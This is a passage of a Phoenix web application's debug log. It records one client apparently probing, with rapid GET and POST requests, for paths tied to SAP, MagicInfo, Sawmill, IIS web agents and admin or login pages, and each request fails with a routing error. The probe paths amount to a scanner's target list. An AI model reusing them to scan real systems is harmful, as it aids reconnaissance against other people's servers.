    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:51.440000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43958] GET /iView3/pages/version.frag
[Thu Sep  3 07:59:51.457000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43958] ** (Phoenix.Router.NoRouteError) no route found for GET /iView3/pages/version.frag (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:57.615000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45774] GET /web/status/sys.overview
[Thu Sep  3 07:59:57.645000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45774] ** (Phoenix.Router.NoRouteError) no route found for GET /web/status/sys.overview (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:58.368000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45780] GET /web/signin
[Thu Sep  3 07:59:58.404000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45780] ** (Phoenix.Router.NoRouteError) no route found for GET /web/signin (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:58.660000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45782] GET /
[Thu Sep  3 07:59:58.661000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:45782] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:59:58.661000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45782] Sent 200 in 1ms
[Thu Sep  3 07:59:59.121000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45788] GET /main/web/status/
[Thu Sep  3 07:59:59.186000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45788] ** (Phoenix.Router.NoRouteError) no route found for GET /main/web/status (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:59.309000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45796] GET /SAPHostControl/
[Thu Sep  3 07:59:59.354000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45796] ** (Phoenix.Router.NoRouteError) no route found for GET /SAPHostControl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:00.532000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.7ms idle=1506.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 08:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 08:00:00.749000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=993.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 08:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 08:00:00.913000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.3ms idle=493.5ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 08:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 08:00:01.088000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.0ms idle=523.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 08:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 08:00:08.339000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37844] GET /AdminTools/querybuilder/nn.jsp
[Thu Sep  3 08:00:08.411000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37844] ** (Phoenix.Router.NoRouteError) no route found for GET /AdminTools/querybuilder/nn.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:11.532000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37852] GET /MagicInfo/config.js
[Thu Sep  3 08:00:11.641000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37852] ** (Phoenix.Router.NoRouteError) no route found for GET /MagicInfo/config.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:13.421000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48632] GET /sapmc/sapmc.html
[Thu Sep  3 08:00:13.466000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48632] ** (Phoenix.Router.NoRouteError) no route found for GET /sapmc/sapmc.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:21.140000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48634] GET /search/results.stm
[Thu Sep  3 08:00:21.171000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48634] ** (Phoenix.Router.NoRouteError) no route found for GET /search/results.stm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:21.915000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48644] GET /WebID/IISWebAgentIF.dll
[Thu Sep  3 08:00:21.938000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:48644] ** (Phoenix.Router.NoRouteError) no route found for GET /WebID/IISWebAgentIF.dll (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:22.879000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48646] GET /
[Thu Sep  3 08:00:22.880000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:48646] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:00:22.880000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48646] Sent 200 in 1ms
[Thu Sep  3 08:00:27.162000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43526] POST /sawmillcl.exe
[Thu Sep  3 08:00:27.197000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43526] ** (Phoenix.Router.NoRouteError) no route found for POST /sawmillcl.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:27.415000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43536] GET /login
[Thu Sep  3 08:00:27.434000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43536] ** (Phoenix.Router.NoRouteError) no route found for GET /login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:27.962000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43548] GET /sawmillcl.exe
[Thu Sep  3 08:00:27.983000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43548] ** (Phoenix.Router.NoRouteError) no route found for GET /sawmillcl.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:28.732000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43562] POST /sawmill6cl.exe
[Thu Sep  3 08:00:28.747000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43562] ** (Phoenix.Router.NoRouteError) no route found for POST /sawmill6cl.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
